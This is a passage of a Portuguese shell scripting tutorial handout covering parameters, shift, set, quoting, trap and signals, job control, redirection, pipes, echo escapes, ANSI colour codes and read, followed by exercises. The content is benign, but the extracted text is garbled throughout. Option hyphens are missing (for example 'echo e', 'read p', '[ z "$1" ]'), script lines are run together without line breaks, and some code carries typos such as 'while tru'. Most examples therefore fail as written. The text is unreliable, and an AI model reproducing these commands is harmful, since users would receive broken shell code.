#!/bin/bash## "basename" serve para eliminar o caminho do arquivo e mostrar# somente o último nome dele. Neste caso: parametros.shecho "Nome do script: `basename $0`"echo "Número total de parâmetros: $#"echo "Primeiro parâmetro: $1"echo "Segundo parâmetro: $2"echo "Décimo quinto parâmetro: ${15}"echo "Todos os parâmetros: $*"

$ ./parametros.sh a b c d e f g h i j l m n o p q r s t u v x zNome do script: parametros.shNúmero total de parâmetros: 23Primeiro parâmetro: aSegundo parâmetro: bDécimo quinto parâmetro: pTodos os parâmetros: a b c d e f g h i j l m n o p q r s t u v x z

Se você não entendeu direito a diferença entre o $* e o $@, então dê uma olhada no seguinte script (se  não  entendêlo   tudo  bem,   siga  em  frente   e   quando   aprender   sobre  o   "if"   e  o   "for"   leiao novamente):

Exemplo:

#!/bin/bash# Ao executar este script entre alguns parametros. Ex.:# [prompt]$ ./testargs.sh um dois tres quatro

if [ z "$1" ]; then  echo "Uso: `basename $0` argumento1 argumento2 etc."  exit 1fi

echoecho "Listando argumentos com \"\$*\":"num=1for arg in "$*"; do  echo "Arg #$num = $arg"  num=$[ $num + 1 ]done

Adbeel Goes Filho

Page 26: Apostila de Shell Script

   ShellScripts                                                                           26

# Conclusão: $* mostra todos os argumentos como uma única string

echoecho "Listando argumentos com \"\$@\":"num=1for arg in "$@"; do  echo "Arg #$num = $arg"  num=$[ $num + 1 ]done# Conclusão: $@ mostra cada argumento em strings separadas

echo

shift

O bash possui um comando embutido que lida com parâmetros, o shift. Quando você usa o shift sai o primeiro parâmetro da lista e o segundo vai para $1 o terceiro vai para $2, e assim por diante. Você pode ainda especificar quantas "casas" você quer que os parâmetros "andem" àesquerda através de "shift n" onde 'n' é o número de casas, mas se o número de casas que ele deve andar for maior que o número de parâmetros o shift não é executado.Veja este exemplo:

#!/bin/bashecho "$#: $*"echo e "executando \"shift\""shiftecho "$#: $*"echo e "executando \"shift 5\""shift 5echo "$#: $*"echo e "executando \"shift 7\""shift 7echo "$#: $*"

$ ./shiftexemplo.sh 1 2 3 4 5 6 7 8 9 010: 1 2 3 4 5 6 7 8 9 0executando "shift"9: 2 3 4 5 6 7 8 9 0executando "shift 5"4: 7 8 9 0executando "shift 7"4: 7 8 9 0

Os valores que saem são perdidos. Use com atenção!

Adbeel Goes Filho

Page 27: Apostila de Shell Script

   ShellScripts                                                                           27

Adbeel Goes Filho

Page 28: Apostila de Shell Script

   ShellScripts                                                                           28

set (para editar parâmetros)

O que vou passar neste tópico não é sobre como usar "todo o poder do comando set", e sim como usar  set  especificamente para editar parâmetros. Não tem nenhum segredo! Veja este exemplo:

set um dois tres

Isso fará com que $1 seja 'um', $2 seja 'dois', $3 seja 'tres' e só!Não existirá $4, $5, etc. mesmo que eles tenham sido usados. Veja um exemplo de script:

#!/bin/bash

echo "Os $# parâmetros passados inicialmente foram: $@"echoecho "e agora eu vou alterálos!"echo "como eu sou mau... (huahuahau risada diabólica huahuahuha)"echoset um dois tresecho "Os $# novos parâmetros agora são: $@"echo

Não interessa quantos parâmetros você passar para este script, no final você só terá $1, $2 e $3 valendo 'um', 'dois' e 'tres', respectivamente.

Quoting 

Os caracteres abaixo tem um modo especial de tratar o shell : ;  &  (  )  |  ^  <  >  newline  space  tab  # 

∙   caracter   deve   ser   cotado  pela  precedência   com um  \.  O  par   \newline  é   ignorado.  Todos  os caracteres fechados entre o par de acentos (‘), exceto aspas simples são cotadas. ∙ Um & no final do comando indica que este irá ser executado em background. O shell mostra o número do processo gerado. Para que você não perca este processo ao terminar seu shell, execute seu comando assim: 

$ nohup comando argv1 argv2 ... argvn& 

Exemplos:

echo $PATH/usr/bin:/usr/local/bin

Adbeel Goes Filho

Page 29: Apostila de Shell Script

   ShellScripts                                                                           29

arquivo=/home/morro.txtmore $arquivotxt1=Casatxt2=Maetxt3=Joanaecho ${txt1}da$txt2$txt3

Observe que no último exemplo foram usadas as chaves para circundar o nome da variável, senão o Shell poderia interpretar a variável como txt1da, o que seria o nome da variável diferente de txt1, caso as chaves não fossem usadas, gerando mensagem de erro de parâmetro não definido, pois nesse caso a variável txt1da não existiria.

Substituição de comando

A substituição de comando é  usada para substituir  um comando por  seu resultado dentro da mesma linha de comando. Isto será útil quando for necessário armazenar a saída de um comando em uma variável ou passar essa mesma saída para outro comando. A sintaxe utilizada é:

$(comando) ou `comando`

A substituição de comando permite que você capture o resultado de um comando e utilizeo como um argumento para outro comando ou armazene sua saída em uma variável.

Exemplo:

dir_atual=$(pwd)cp $(ls *.txt) /home/user1/backup

Substituição do ~ (til)

A substituição do til é executada de acordo com as seguintes regras:

1. Um til sozinho ou em frente a uma barra é  substituido pelo conteúdo da variável HOME.Exemplo:HOME=/home/user3echo ~

2. Um til seguido do sinal de + é substituído pelo valor da variável PWD. 3. Um til seguido de – será substituiído pelo valor da variável OLDPWD.

Exemplo:

echo ~ls 1F ~/file1ls – logt ~+/poodlels ~

Adbeel Goes Filho

Page 30: Apostila de Shell Script

   ShellScripts                                                                           30

Prompting 

Quando usado interativamente, o  prompt do  shell é o valor da variável PS1 antes da leitura do comando. Se todo tempo uma linha deve ser digitada e uma nova linha teclada para completar o comando, então um segundo prompt é mostrado. 

Input / Output 

Antes   de  um  comando   ser   executado,   sua   entrada   e   saida  pode   ser   redirecionada usando as notações interpretadas pelo shell. 

< word   Usando word como entrada padrão > word   Usando word como saida padrão >> word   Idem ao >, so que neste caso se word já existe não sobrepõe, faz o append. <&digit   Uso associado a um descritor de arquivo como entrada padrão. Similar pela saida padrão usando >&digit. Note que digit precisa ser de um tamanho entre 0 a 9. 

Exemplo: ... 2>&1 

Arquivo associado ao descritor 2 com o arquivo corrente associado com o descritor do arquivo 1. Note que o redirecionamento de I/O é necessário se você quer sincronia com stdout e stderr  para   o  mesmo arquivo.  Esta  opção  é   bastante  usado  para   se   configurar   impressoras   ou dispositivos seriais.  Conceito de Sinais 

Um sinal é u m flag transmitido para um processo quando certos eventos ocorrem. Os sinais mais conhecidos em ambiente *IX são:

NULL Saida do Shell ( ^D ou exit )HUP Hungup – enviado para processos em retaguarda no logoutINT Interrupção ( ^C )QUIT Quit ( ^\ )  gera arquivo coreKILL Morte certa ( Não pode ser capturado ou ignorado )TERM Terminação por software

O comando kill transmite um sinal explícito para um ou mais processos.Diite kill l para obter uma lista de sinais disponíveis no SO.

O que é um TRAP ?

Um trap é uma maneira de capturar   sinais transmitidos a um processo e de executar alguma ação baseada no  tipo de sinal que foi recebido.

A trap simplesmente espera por sinais enviados ao Shell, identificaos e então, executa 

Adbeel Goes Filho

Page 31: Apostila de Shell Script

   ShellScripts                                                                           31

a ação associada. Uma trap pode ser definida para a remoção de arquivos temporários no término de um programa ou pode definir sinais que devam ser ignorados durante um segmento sensível   na execução do programa.

O comando trap

O comando trap  pode ser usado em programas Shell para capturar um sinal antes que ele possa abortar um processo e executar alguma ação adicional ou alternativa.

Os comandos trap são normalmente colocados no início de um SS, mas eles podem estar em qualquer parte do script. As traps são assinalidas pelo Shell quando este Lê   o comando trap. As traps são acionadas quando um sinal relacionado é recebido.

Sintaxe:trap 'comandos' sinal1 sinal2 ... sinal n

Exemplo:

trap 'echo bye; exit ' 2 3 15while tru; do

echo “Hello ...”done

Ignorando sinais

O comando trap pode ser usado para ignorar determinados sinais quando estes forem recebidos pelo processo.

Sintaxe:

trap  '' sinal1 sinal2 ... sinal n

Exemplo: Ignora o sinal INT que é equivalente ao ^C.

trap '' 2whilte true; do   echo “Hello ...”   sleep 2done

Exemplo: gerenciar remoção de arquivos temporários se o programa for abortado

trap 'rm /tmp/templfile; exit' 2 3 15

Adbeel Goes Filho

Page 32: Apostila de Shell Script

   ShellScripts                                                                           32

Exemplo: comando para ignorar sinais antes de sessos críticas de código

trap ''  3 5

Exemplo: restaurar o trap para ação default quando uma seção de código sensível for completada

trap INT QUIT TERM ou trap 2  3 15 

As interrupções e sinais de término invocados por um comando são ignorados se este comando foi executado seguido do caracter &. Outros sinais tem valores herdados pelo  shell  de shellspai, com exceção do sinal 11. (seja comando trap). 

Adbeel Goes Filho

Page 33: Apostila de Shell Script

   ShellScripts                                                                           33

Comandos especiais 

break [ n ] continue [ n ] cd [ arg ] echo [ arg ... ] eval [ arg ... ] exit [ n ] export [ name ... ] hash [ r ][ name ... ] newgrp [ arg ... ] pwd read [ name ... ] return [ n ] set [ aefhkntuvx [ arg ... ] ] shift [ n ] test times trap [ arg ] [ n ] type [ name ... ] ulimit [ f [ n ] ] umask [ nnn ] unset [ name ... ] wait [ n ] 

Chamada do sh 

Opções podem ser especificadas com um simples ou múltiplos argumentos, mas em todos os casos, cada opção deve iniciar com um . 

c string   Se a chave c está presente, então os comandos estão lendo de uma string. s   Se a chave s está presente, então os comandos estão lendo da entrada padrão, o shell irá de cada parametro posicional. i   Se a entrada do shell estiver conectada a um terminal, então este shell é interativo, 

Neste caso:

TERMINATE é ignorado(então o sinal 0 não mata shell interativo). r  Shell restrito. 

sh pode retornar : 

0  Sucesso 

Adbeel Goes Filho

Page 34: Apostila de Shell Script

   ShellScripts                                                                           34

1  A execução do programa com erro (Veja Comandos especiais) 2  Sintax Error (Erro de Sintaxe)3  Signal received that is not trapped 

6.6. ExerciciosExercicios

1. Qual é a shell mais utilizada pelo AIX/6000 ?

2. Quais são os dispositivos default de entrada e saida utilizados pelo sistema ?

3. É possível alterar os dispositivos de entrada e saida padrões ? Como ?

4. Que tipo de informação é enviada para a saida padrão ?

5. Que outro dispositivo pode ser usado no lugar da entrada padrão ?

6. Utilizando redirecionamento, como você faria para escrever um pequeno texto no arquivo carta ?

7. Qual a diferença entre os sinais > e >> ?

8. Qual a finalidade do dispositivo nulo ?

9. O redirecionamento utilizado em um comando é válido para os próximos ? Explique

10.É possível redirecionar mais do que um   dispositivo padrão num só comando ? Caso afirmativo, faça um exemplo redirecionando todos os dispositivos padrões.

11. A ordem  com que  são feitos os redirecionamentos é relevante para a ação tomada pelo comando ? E usando associações ? Explique.

12.Explique os seguintes comandos :a) $ls 2> &1 > saida.do.lsb) $ls R / > erros 2> arvorec) $mailto claudia < cartad) $cat >> cartae) $ls l /usr > arvore 2> &1f) $ls > saida.do.ls 2> &2

13.Utilizando a substituição de comandos, atribua a data de hoje no formato dd/mm/yy à variável TODAY. Consulte o manual online para verificar quais os formatos possíveis para a exibição de datas e/ou horas.

14.Liste o conteúdo do diretório de outro usuário usando a substituição do til ?

Adbeel Goes Filho

Page 35: Apostila de Shell Script

   ShellScripts                                                                           35

15.Crie uma variável chamado MYNAME e armazene nela o seu primeiro nome. Como se mostra o conteúdo da variável ?

16.Como fazer para que o Shell filho “enxergue” o conteúdo da variável MYNAME ?

17.Torne a variável TODAY somenteleitura. É possível excluir esta variável ?

18.Modifique seu prompt de comando, de modo que ele fique com a aparência a seguir:[user1]10/10/2000 as 06:45/home/user1 =>

19.Utilizando a substituição de comando copie o conteúdo de /home/teste  para /tmp  

20.Exiba o conteúdo do seu diretório home na saida padrão.

21.Copie a lista detalhada dos processos em execução para o arquivo lista.txt no seu diretório home.

22.Sabendo que

a=1b=2c=3

Mostre na saida padrão começo32321meio34567fim utilizando os nomes das variáveis.

23. Escreva um SS que emita uma mensagen na sua tela a cada 3 segundos com um bip. Torne este SS imune aos sinais INT, HUP e TERM.  Como parar este programa ?

 

Adbeel Goes Filho

Page 36: Apostila de Shell Script

   ShellScripts                                                                           36

Capitulo 2. Capitulo 2. Execução de ProgramasExecução de Programas

Falaremos agora sobre execução de programas em primeiro plano (fg  foreground) e em segundo plano (bg  background), redirecionamento de saídas e também sobre os códigos de escape dos programas.

7.7. Execução em foreground e background Execução em foreground e background 

Quando executamos  um programa,  o  shell  fica   esperando  o  mesmo  terminar  para depois nos devolver a linha de comando. Por exemplo, quando executamos o comando 

cp arquivo1 arquivo2 

o  shell  executa esse comando, fica esperando ele  terminar,  para depois nos retornar a   linha de comando. Isso chamase execução em primeiro plano, ou foreground, em inglês.Agora digamos que o arquivo a ser copiado seja muito grande, digamos, 50Mb. Enquanto o comando cp é executado, vamos ficar com o shell preso a ele todo esse tempo, ou seja, cerca de 1 ou 2 minutos (Dependendo da máquina). Somente após isso vamos ter a linha de comando de volta para podermos continuar trabalhando.

E se pudéssemos dizer ao shell para executar um programa e nos retornar a linha de comando sem ficar esperando o tal programa terminar ? Seria muito melhor, não? Em alguns casos seria. E podemos fazer isso. Uma maneira fácil é colocar o sinal de & depois de um comando. No exemplo acima ficaria:

virtvs@mucuripe:~$ cp arquivo1 arquivo2 & [1] 206 virtvs@mucuripe:~$

Pronto, assim que teclarmos [enter], teremos a nossa linha de comando de volta e mais duas informações: "[1] 206".

A primeira informação ([1]) chamase job. Ela identifica os programas que estão sendo executados em bg (background). Por exemplo, se executarmos mais um programa em bg enquanto este "cp" está sendo executado, o novo programa recebe o job de número 2 ([2]) e assim por diante.

A segunda informação (206) é o pid do programa, ou seja, o número de processo que o kernel dá a esse programa.

Mas aí temos um pequeno problema. Digamos que você queira trazer o programa para 

Adbeel Goes Filho

Page 37: Apostila de Shell Script

   ShellScripts                                                                           37

fg, por exemplo, se o programa executado em  bg  for um tocador de mp3 e você quiser mudar a música. Como fazemos? Usamos o comando fg [job] (intuitivo, não ?) do bash. No exemplo acima, digamos que eu execute o "cp" em  bg, mas depois queira trazêlo para  fg  para cancelálo. Seria simples:

virtvs@mucuripe:~$ cp arquivo1 arquivo2 & [1] 206 virtvs@mucuripe:~$ fg 1 cp arquivo1 arquivo2

Assim trazemos o "cp" para primeiro plano e a linha de comando só retorna quando ele terminar.

Opcional

Uma outra maneira de colocar um programa para rodar em bg é utilizando um truque do bash. Digamos que você execute o comando "cp" e esqueça de colocar o sinal "&". E aí ? Tem que ficar esperando acabar ou cancelar o comando? Não, podemos teclar: Ctrl + Z. Ao fazer isso, paramos a execução do programa. Então é só dar o comando bg [job] (intuitivo também, né?):

virtvs@mucuripe:~$ cp arquivo1 arquivo2

* aqui teclamos Ctrl + Z * [1]+ Stopped cp i arquivo1 arquivo2 virtvs@mucuripe:~$ bg 1 [1]+ cp i arquivo1 arquivo2 & virtvs@mucuripe:~$

Quando teclamos o Ctrl + Z, o bash nos diz que o job 1 foi parado ([1]+ Stopped) e quando executamos "bg 1" ele nos diz que o comando voltou a ser executado, mas em bg (repare o sinal de "&" no final da linha): [1]+ cp i arquivo1 arquivo2 &.

8.8. RedirecionamentoRedirecionamento

Muitos   programas   que   executamos   geram   saídas   no   console,   ou   sejam,   emitem mensagens para os usuários. Por exemplo, queremos achar quantos arquivos no nosso sistema tem "netscape" no nome:

virtvs@mucuripe:~$ find / name netscape /usr/lib/netscape /usr/lib/netscape/netscape /usr/lib/netscape/nethelp/netscape /usr/local/bin/netscape

Adbeel Goes Filho

Page 38: Apostila de Shell Script

   ShellScripts                                                                           38

Agora se quisermos procurar quantos arquivos compactados com o gzip (extensão .gz) tem  no  nosso   sistema   para   depois   analisálos   e   possivelmente   apagar   os   repetidos   ou   inúteis, teremos uma lista muito grande. Aqui no meu sistema deu mais de 1000 arquivos. Então, seria útil podermos   enviar   as  mensagens  que  vão  para  o   console,   para  um arquivo.  Assim,  poderíamos analisálo depois de executar o comando. Isso é extremamente útil ao trabalharmos com shell script  enviar as saídas dos comandos para arquivos para depois analisálas. Exemplificando:

virtvs@mucuripe:~$ find / name "*.gz" > lista.txt find: /home/vera: Permissão negada find: /home/pri: Permissão negada find: /root: Permissão negada virtvs@mucuripe:~$

Notamos que nem tudo foi para o arquivo lista.txt. As mensagens de erro foram para o console. Isso porque existem dois tipos de saída: a saída padrão e a saída de erro. A saída padrão é a saída normal dos programas, que no caso acima, seria os arquivos encontrados. E a saída de erro, como o próprio nome diz, são os erro encontrados pelo programa durante sua execução, que devem ser informados ao usuário, como os erros de "permissão negada".

E  aí,   como selecionar  uma ou  outra   ?  É   simples,   apenas  devemos   indicar  o   "file descriptor" (fd) delas. Não vamos entrar em detalhes sobre o que é "descritor de arquivos" por fugir do nosso escopo e ser um pouco complicado, apenas temos que saber que o fd 1 corresponde a saída padrão e o fd 2 a saída de erro.  Assim, no exemplo acima, para enviar os erro para o arquivo erros.txt e a saída padrão para o arquivo lista.txt, usaríamos:

virtvs@mucuripe:~$ find / name "*.gz" 1> lista.txt 2> erros.txt

Ou seja, é só por o número da saída desejada antes do sinal de ">".

Agora digamos que queremos ver o conteúdo do arquivo lista.txt. Podemos abrílo com um editor de textos ou usar o "cat". Optando pela última opção:

virtvs@mucuripe:~$ cat lista.txt /home/neo/gkrellm0.10.5.tar.gz /home/neo/linuxcallinterfacebeta.tar.gz ... <<< mais de 1000 linhas virtvs@mucuripe:~$

Temos um problema. O arquivo tem mais de 1000 linhas e não conseguimos vêlo inteiro. Podemos redirecionar a saída do comando "cat" para o comando "more", que dá pausa entre as telas:

virtvs@mucuripe:~$ cat lista.txt | more .........

Adbeel Goes Filho

Page 39: Apostila de Shell Script

   ShellScripts                                                                           39

Veja que utilizamos o caractere "|", chamado "pipe". Não poderíamos ter utilizado o sinal de ">"? Não, o sinal de ">" é somente para enviar a saída para um ARQUIVO. Para enviar a saída de um comando para a entrada de outro, usamos o pipe.

As vezes queremos que além da saída ir para um arquivo, ela também vá para a tela. Temos um programinha que faz isso. Ele chamase "tee". Veja o exemplo a seguir:

virtvs@mucuripe:~$ find / name "*.gz" 2> erros.txt | tee lista.txt

O que fizemos ? Primeiro pegamos a saída de erro e enviamos para o arquivo erros.txt. O restante, ou seja, a saída padrão, estamos enviando para a entrada do comando tee (usando o pipe). O tee simplesmente pega o que ele recebe (através do pipe) e joga no arquivo lista.txt e na tela.  Assim,  além de  gravarmos  a   saída  num arquivo,  podemos  mostrar  ao  usuário  o  que  está acontecendo. Isso é muito útil quando escrevemos alguns scripts.

Resumindo:   aprendemos   que   podemos   redirecionar   a   saída   padrão   ou   de   erro   de programa para um arquivo usando respectivamente "1>" ou "2>" ou também enviar a saída para a entrada de outro programa usando o pipe "|".

echo

Existem alguns  momentos  que  você   não  quer   que   a   saída  do   echo  pule   de   linha automaticamente. Para isso use o parâmetro "n". Este parâmetro é útil quando você vai entrar com algo após o echo. Veja este script:

Exemplo:

#!/bin/bashecho n "Entre com o nome do arquivo: "read FILEecho "Tipo do arquivo `file $FILE`"

Muita atenção deve ser tomada ao usar o echo, pois as aspas que você pode vir a deixar de usar podem fazer um diferença (em alguns casos isso pode ser muito útil).

Exemplo:

$ echo uma    boa   rede de irc     que conheco eh     irc.linux.orguma boa rede de irc que conheco eh irc.linux.org$ echo "uma    boa   rede de irc     que conheco eh     irc.linux.org"uma    boa   rede de irc     que conheco eh     irc.linux.org$$ # agora um exemplo com variavel$

Adbeel Goes Filho

Page 40: Apostila de Shell Script

   ShellScripts                                                                           40

$ TESTE="primeira linha da variavel> segunda linha> terceira...> chega! :)> "$ echo $TESTEprimeira linha da variavel segunda linha terceira... chega! :)$ echo "$TESTE"primeira linha da variavelsegunda linhaterceira...chega! :)

A esta altura você já deve ter se perguntado "Como faço para imprimir caracteres nova linha ou beep?!". Os mais malandrinhos devem ter tentado um contrabarra (backslash) '\', mas você não pode simplesmente fazer isso. É necessário usar o parâmetro "e" com o echo. Este parâmetro permite que usemos sequências de escape contrabarra.    As sequências são iguais a da linguagem C, exemplo: \n para nova linha, \a para beep, \b para backspace, etc...

Exemplo:

$ echo e "module caiu de cara tentando \"top soul\".\nQue paia\a"!module caiu de cara tentando "top soul".Que paia!

O e é também usado para escrever colorido e outras coisas interessantes. Veremos isso no tópico seguinte.

9.9. MetacaracteresMetacaracteres e Wildcards e Wildcards

Metacaracteres são caracteres que possuem algum significado especial para o shell.Wildcards são subconjuntos dos metacaracteres cuja característica é simplificar a linha 

de comando.Os metacaracteres e wildcards serão vistos neste trabalho de  uma maneira gradativa, a 

medida em que sejam necessários.Alguns deles já foram vistos no redirecionamento (> < e >> ).Veja mais alguuns metacaracteres:

Caracteres Definição

\ Continuação de linha

; Agrupamento de comandos

Adbeel Goes Filho

Page 41: Apostila de Shell Script

   ShellScripts                                                                           41

Caracteres Definição

|  Processamento Sequenciado

O caracter \ (continuação de linha) permite continuar a escrever o comando na linha subsequente, caso o mesmo seja extenso, ou seja, não caiba em uma só linha da tela. Ressaltamos que não deverá haver espaço em branco após este caractere. Após pressionarmos a tecla [ENTER] o shell  mostrará um novo prompt default (>) chamado de secundário, informando que a linha corrente é a continuação da linha anterior.

Exemplo:

$cat /home/chico/public_html/index.html \>     /home/maria/public_html/index.html

O caracter de agrupamento de comando (;)  permite  agrupar os comandos em uma mesma linha.

Sintaxe: $comando1 ; comando2

Exemplo:$ls ; pwd

Isto é equivalente a digitar$ls$pwd

É importante observar que o segundo commando não depende da resposta do primeiro comando, ou seja, não há relacionamento entre eles.

Pipes

Pipes ou tubos ( | ) é uma outra forma de agrupar comandos em uma mesma linha, porém, há relacionamento entre os comandos.

Quand utilizamos o “|” (pipe), ele informa ao  shell  para conectar a saida padrão do primeiro comando com a entrada   padrão do segundo comando. Por sua vez, a saida do segundo comando é direcionada para a saida padrão.

Para um melhor entendimento imagine que a linha de comando é um tubo por onde deve passar a informação do primeiro comando para o segundo, do segundo para o terceiro e assim sucessivamente, até que o último comando  direcione a saida   para a saida padrão.

Agora vejamos o pipe. Sua sintaxe é:

     $ programa1 | programa2

Adbeel Goes Filho

Page 42: Apostila de Shell Script

   ShellScripts                                                                           42

O pipe é  usado para você  fazer da saída de um programa a entrada de outro (como usado no exemplo amarelinho.sh já mostrado anteriormente). Apesar de simples o pipe é muito útil e poderoso. Veja este exemplo muito simples:

$ whomeleu    tty1     Nov 20 01:40hack     tty2     Nov 20 01:45root     tty3     Nov 20 02:44$ who | cut c9meleuhackroot

Comandos Úteis com o Pipe

xargs

O xargs transforma stdin em argumentos da linha de comando. Vamos usar o exemplo anterior de novo:

Exemplo:

$ who | cut c9        # lembrando: pipe transforma stdout em stdinmeleuhackroot$ # "echo" nao le arquivo, ele usa argumentos.$ # A linha abaixo nao tem utilidade.$ who | cut c09 | echo

$ # "xargs" transforma o conteudo de stdin em argumentos$ who | cut c09 | xargs echomeleu hack root 

Como eu gosto do find não resisti e colocarei um comando interessante que usa pipe e xargs:

$ find / perm 2 ! type l ! type c | xargs ls ld > wordwritable.txt

tee

Outro  comando bom de  se  usar  com pipe  é  o   "tee".  Ele   faz  com que a   saída  do programa vá para a saída padrão, normalmente a tela e para um arquivo ao mesmo tempo. É como se você fizesse "programa > arquivo" só que o saída do programa também seria escrita na saída padrão. Experimente:

Adbeel Goes Filho

Page 43: Apostila de Shell Script

   ShellScripts                                                                           43

$ ls la |tee conteudo.txt

O  comando echo e os cracteres de saida

\b Backspace\c Suprime a terminação newline\f Alimentação de formulário\n Nova linha ( NewLine )\r Carriage Return\t Tabulação\a Caractere de alerta\\ Barra invertida\0nnn Caractere de código ASCII em octal

Adbeel Goes Filho

Page 44: Apostila de Shell Script

   ShellScripts                                                                           44

10.10.Sequências de Escape ANSISequências de Escape ANSI

Para usar cores a sequência de escape é "\e[<NUM>m" (os sinais '<' e '>' não entram!). Veja um exemplo (mais a frente você verá tabelas com os significados destas sequências):

Examplo:

#!/bin/bash# imprime amarelinho no centro da linha# A variável $COLUMNS contém o número de colunas que o terminal está# usando, e antes de executar este script você precisa exportála:# [prompt]$ export COLUMNS[ $COLUMNS ] || {        echo Você precisa exportar a variável \"COLUMNS\":        echo "Tente \"export COLUMNS\" e tente executar novamente"        exit 1}

POSICAO=$[ ( $COLUMNS  `expr length "$*"` ) / 2 ]# `expr length "$*"` retorna o número de caracteres digitados# como parâmetros.

echo e "\e[${POSICAO}C\e[33;1m$*\e[0m"

Agora uma explicação ligeira: o \e diz ao echo que o que vem depois é uma sequência de escape. Se você der a sequência '[<num>C', onde num é um número qualquer, o cursor vai andar "num" caraceteres para a direita. Acima eu uso a variável POSICAO para mover o cursor para o centro da linha (veja o cálculo no código).

    O comando '[<num>m' muda para a cor "num". Cada cor tem um código próprio. No exemplo acima o 33 faz ficar marrom, porém combinando com o 1 fica amarelo (isso no modo texto, pois no xterm, por exemplo, o 1 faz o marrom ficar em negrito. veja OBSERVAÇÕES mais adiante). Veja também uma tabela com os códigos de movimentação de cursor que eu conheço (os caracteres '<' e '>' devem ser ignorados):

Adbeel Goes Filho

Page 45: Apostila de Shell Script

   ShellScripts                                                                           45

Código O que faz

 \e[<N>A  Move o cursor N linhas acima.

 \e[<N>B  Move o cursor N linhas abaixo.

 \e[<N>C  Move o cursor N colunas à direita.     

\e[<N>D  Move o cursor N colunas à esquerda. 

\e[<N>E  Move o cursor N linhas para baixo na coluna 1.

 \e[<N>F  Move o cursor N linhas para cima na coluna 1.

 \e[<N>G    Coloca o cursor na linha N.     

 \e[<L>;<C>H Coloca o cursor na linha L e na coluna C.

 \e[<N>I Move o cursor N tabulações à direita.    

 \e[<N>J  N=0  Apaga do cursor até o fim da tela; N=1  Apaga do cursor até o início da tela; N=2  Apaga a tela toda.      

 \e[<N>K  N=0  Apaga do cursor até fim da linha; N=1  Apaga do cursor até o início da linha;N=2  Apaga a linha toda.      

 \e[<N>L Adiciona N linhas em branco abaixo da atual. 

 \e[<N>M     Apaga N linhas abaixo da atual.   

 \e[<N>P      Apaga N caracteres a direita.

 \e[<N>S  Move a tela N linhas para cima.     

 \e[<N>T  Move a tela N linhas para baixo.  

 \e[<N>X  Limpa N caracteres à direita (com espaços).

 \e[<N>@  Adiciona N espaços em branco.    

 \e[s      Salva a posição do cursor. 

 \e[u  Restaura a posição do cursor que foi salva. 

Adbeel Goes Filho

Page 46: Apostila de Shell Script

   ShellScripts                                                                           46

Agora   uma   tabelinha   dos   atributos   e   seus   números   (N   deve   estar   no   formato "\e[<N>m"):

Atributo N Cor X

Desligar todos atributos  0 Preto 0

Negrito 1 Vermelho 1

Cor X para o primeiro plano 3X Verde 2

Cor X para o segundo plano 4X Marrom 3

Sublinhado 4 Azul 4

Piscando (blink) 5 Roxo 5

Video reverso 7 Ciano 6

x Branco 7

OBSERVAÇÕES:

– Negrito,   Sublinhado   e   Piscando   possuem   comportamentos   diferentes   no   console   e   nos emuladores de terminal. Principalmente quando temos negrito sendo usado com cores.

– Por exemplo,  o código "\e[33m" irá  ativar  o marrom mas se for usado (no console!)  com o atributo de negrito ficará amarelo, e o código será assim: "\e[1;33m". Por isso faça os testes que você descobrirá as cores

– Estas   tabelas   eu   fiz   graças   a   uma   matéria   que   o   aurélio   escreveu   sobre   isso.   Veja   em http://verde666.org/coluna/

 2. read

Como você viu no script anterior para entrar com um dado usase "read". O read tem alguns "macetinhos". Pra começar: você não precisa colocar um echo toda hora que for usar o read para escrever um prompt. Basta fazer "read p prompt variavel"Veja esta seção de exemplos:

Examplo:

#!/bin/bashread p "Entre com uma string: " stringecho $string

$ ./read1.sh

Adbeel Goes Filho

Page 47: Apostila de Shell Script

   ShellScripts                                                                           47

Entre com uma string: klogd eh um tremendo cachacero!klogd eh um tremendo cachacero!Examplo:

#!/bin/bashread p "Entre com 3 strings: " s1 s2 s3echo "s1 = $s1     s2 = $s2     s3 = $s3"

Examplo:

$ ./read2.shEntre com 3 strings: j00nix eh cabecudos1 = j00nix     s2 = eh     s3 = cabecudo

# o mesmo script com mais de 3 strings #

$ ./read2.shEntre com 3 strings: eSc2 adora ficar de copy'n'paste no IRC.s1 = eSc2     s2 = adora     s3 = ficar de copy'n'paste no IRC.

Quando o "read" vai ler apenas uma variável, toda a string vai ser atribuída a esta variável. Quando vai ler mais de uma variável ele atribui cada string a sua respectiva variável; e quando o número de strings excede o número de variáveis a última fica com o excedente.

O parâmetro "s" serve para não ecoar o que for digitado. É útil para digitar uma senha por exemplo. Tente "read s PASS" e veja.

Você   também   pode   determinar   o   número   de   caracteres   que   serão   lidos   com   o parâmetro "n". Tente fazer "read n 10 VAR". Mas cuidado: ao usar a opção n você não poderá usar o backspace para fazer correções.

A opção "r" serve para que a contrabarra (backslash) não aja como um caracter de escape. 

 3. Redirecionamento

Quem já  sabe programar deve saber que existem três "file descriptors" abertos por padrão (pelo menos nos sistemas operacionais que conheço):stdin (standard input), stdout (standard output) e stderr (standard error). Para fins práticos, estes são considerados arquivos e você pode direcionar destes "arquivos" para outros e viceversa.

Adbeel Goes Filho

Page 48: Apostila de Shell Script

   ShellScripts                                                                           48

Veja como direcionar de:

arquivo para stdin $ programa < arquivo

stdout para arquivo $ programa > arquivo

stderr para arquivo $ programa 2> arquivo

stdout para stderr $ programa 1>&2

stderr para stdout $ programa 2>&1

stdout e stderr para arquivo $ programa &> arquivo 

Se você usar por exemplo "find / perm 2 > worldwritable.txt" e no diretório não tiver um arquivo chamado "worldwritable.txt" este será criado, a saída do comando será gravada nele e a saída de erro padrão será impressa na tela. Para não ver as mensagens de "Permission Denied" faça isso:

     $ find / perm 2 > worldwritable.txt 2> /dev/null

Ainda   temos   um   probleminha:   este   comando   irá   mostrar   também   todos   os   links simbólicos e vários arquivos de dispositivo. Para eliminar os links simbólicos faça o seguinte:

     $ find / perm 2 ! type l > worldwritable.txt 2> /dev/null

Se   o   arquivo   já   existir   seu   conteúdo   será   sobregravado.   Mas   você   pode   apenas concatenar o conteúdo no final do arquivo usando ">>". Exemplo:

     $ echo " F I M  D O  A R Q U I V O " >> worldwritable.txt

Veja este script a seguir a execute ele usando redirecionamento na linha de comando pra ver os resultados

#!/bin/bashecho "Isto vai para a saída padrão."echo "Isto vai para a saída de erro padrão." 1>&2echo "Isto vai criar um arquivo e colocar esta linha nele." > ARQUIVOecho "Esta linha vai para o final do arquivo." >> ARQUIVO

   Tem um outro tipo de redirecionamento que é bastante útil. É assim:

    $ programa << delimitador

